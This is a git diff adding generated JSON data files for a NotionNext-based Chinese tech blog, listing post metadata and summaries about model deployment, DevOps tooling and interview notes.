Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""}],"posts":[{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"2024-1-21","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"2024-1-21","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"tag":"日志"},"__N_SSG":true} \ No newline at end of file diff --git "a/_next/data/76RZ7NVoSbfF1EgLzbeEj/tag/\350\204\232\346\234\254.json" "b/_next/data/76RZ7NVoSbfF1EgLzbeEj/tag/\350\204\232\346\234\254.json" new file mode 100644 index 000000000..ad54e7b86 --- /dev/null +++ "b/_next/data/76RZ7NVoSbfF1EgLzbeEj/tag/\350\204\232\346\234\254.json" @@ -0,0 +1 @@ +{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","title":"地瓜RDK X5上手ollama大模型测试","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","category":null,"tags":null,"summary":null,"slug":"article/241206-rdk","pageIcon":"🗒️","lastEditedDate":"2024-12-06T09:25:20.578Z"},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","title":"多模态视频大模型Aria在Docker部署","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","category":"技术分享","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","slug":"article/241205-aria","pageIcon":"🗒️","lastEditedDate":"2024-12-05T07:43:49.973Z"},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","title":"开发Maven插件:实现打包后上传tos云服务","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","category":"技术分享","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","slug":"article/241110-tos-plugin","pageIcon":"🗒️","lastEditedDate":"2024-11-10T09:10:56.856Z"},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","category":"技术分享","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","slug":"article/240810-minicpm2.6","pageIcon":"🗒️","lastEditedDate":"2024-12-05T02:07:11.171Z"},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","title":"LAVIS在Mac,M1PRO芯片下的安装实战","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","category":"技术分享","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","slug":"article/240806-lavis","pageIcon":"🗒️","lastEditedDate":"2024-08-06T07:08:06.450Z"},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","title":"Iphone Mirroring圆了我AI打DNF手游的梦","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","category":"技术分享","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","slug":"article/240725-ai","pageIcon":"🗒️","lastEditedDate":"2024-07-25T15:39:43.435Z"},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","title":"天池大赛Higress插件官方demo详细部署+调试","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","category":"技术分享","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","slug":"article/240626-demo","pageIcon":"🗒️","lastEditedDate":"2024-06-28T08:12:44.310Z"},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","title":"Java程序员学习Go开发Higress的WASM插件","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","category":"技术分享","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","slug":"article/240625-higress","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:54:09.169Z"},{"id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","title":"万里长征-04-脉脉","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"脉脉面试题","slug":"article/240525-LM-04","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:59:08.858Z"},{"id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","title":"万里长征-03-搜狐","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"搜狐面试题","slug":"article/240429-LM-fox","pageIcon":"🗒️","lastEditedDate":"2024-05-25T02:20:00.057Z"},{"id":"146219e7-c178-4485-b223-22f4b977333c","title":"Prometheus+Grafana多方位监控","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","category":"技术分享","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","slug":"article/240429-prometheus","pageIcon":"🗒️","lastEditedDate":"2024-04-29T03:07:56.545Z"},{"id":"71879fde-4992-4276-9767-ac5bd71e4058","title":"Nginx配置备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","category":"技术分享","tags":["运维","工具"],"summary":"nginx密码访问,prometheus,安全限制等","slug":"article/240425-nginx","pageIcon":"🗒️","lastEditedDate":"2024-04-24T16:37:04.342Z"},{"id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","title":"万里长征-02-跟谁学","pageCoverThumbnail":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","category":"万里长征","tags":["面试","文字"],"summary":"跟谁学面试题","slug":"article/240408-LM-02","pageIcon":"🗒️","lastEditedDate":"2024-04-08T17:08:09.011Z"},{"id":"63830328-e0f0-477a-b327-bc4ab921f89c","title":"万里长征-01-贝壳","pageCoverThumbnail":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","category":"万里长征","tags":["面试"],"summary":"贝壳面试题","slug":"article/240405-LM-01","pageIcon":"🗒️","lastEditedDate":"2024-04-08T06:03:22.365Z"},{"id":"4d955058-b605-46cf-b242-1535b732af30","title":"万里长征","pageCoverThumbnail":"","category":"万里长征","tags":["面试","推荐"],"summary":"常见面试题汇总","slug":"article/240405-LM","pageIcon":"🗒️","lastEditedDate":"2024-04-07T09:23:11.250Z"},{"id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","title":"Java程序CPU异常监控bash脚本","pageCoverThumbnail":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","category":"技术分享","tags":["运维","linux","脚本","工具"],"summary":"极其简单的监控例子","slug":"article/240405-cpu","pageIcon":"🗒️","lastEditedDate":"2024-04-05T12:17:00.259Z"},{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"将进酒","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🗒️","lastEditedDate":"2024-04-06T03:31:44.998Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":15},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":3},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":8},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":2},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":9},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","name":"运维","color":"gray","count":3},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","name":"linux","color":"orange","count":1},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","name":"脚本","color":"orange","count":1},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","name":"面试","color":"yellow","count":5},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","name":"go","color":"gray","count":2}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":16},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","name":"万里长征","color":"green","count":5}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"2021-3-13","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"2023-3-23","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":1,"latestPosts":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","date":{"start_date":"2024-12-06","date_format":"relative"},"type":"Post","slug":"article/241206-rdk","title":"地瓜RDK X5上手ollama大模型测试","status":"Published","category":"","publishDate":1733443200000,"publishDay":"2024-12-6","lastEditedDate":"2024-12-06T09:25:20.578Z","lastEditedDay":"2024-12-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","tagItems":[],"password":""},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","date":{"start_date":"2024-08-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240810-minicpm2.6","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","status":"Published","publishDate":1723248000000,"publishDay":"2024-8-10","lastEditedDate":"2024-12-05T02:07:11.171Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","tagItems":[{"name":"折腾","color":"purple"}],"password":""},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""}],"posts":[{"id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","date":{"start_date":"2024-04-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240405-cpu","tags":["运维","linux","脚本","工具"],"summary":"极其简单的监控例子","title":"Java程序CPU异常监控bash脚本","status":"Published","publishDate":1712275200000,"publishDay":"2024-4-5","lastEditedDate":"2024-04-05T12:17:00.259Z","lastEditedDay":"2024-4-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","pageCoverThumbnail":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","tagItems":[{"name":"运维","color":"gray"},{"name":"linux","color":"orange"},{"name":"脚本","color":"orange"},{"name":"工具","color":"pink"}],"password":""}],"tag":"脚本"},"__N_SSG":true} \ No newline at end of file diff --git "a/_next/data/76RZ7NVoSbfF1EgLzbeEj/tag/\350\207\252\345\212\250\345\214\226.json" "b/_next/data/76RZ7NVoSbfF1EgLzbeEj/tag/\350\207\252\345\212\250\345\214\226.json" new file mode 100644 index 000000000..a4084a5e0 --- /dev/null +++ "b/_next/data/76RZ7NVoSbfF1EgLzbeEj/tag/\350\207\252\345\212\250\345\214\226.json" @@ -0,0 +1 @@ +{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","title":"地瓜RDK X5上手ollama大模型测试","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","category":null,"tags":null,"summary":null,"slug":"article/241206-rdk","pageIcon":"🗒️","lastEditedDate":"2024-12-06T09:25:20.578Z"},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","title":"多模态视频大模型Aria在Docker部署","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","category":"技术分享","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core 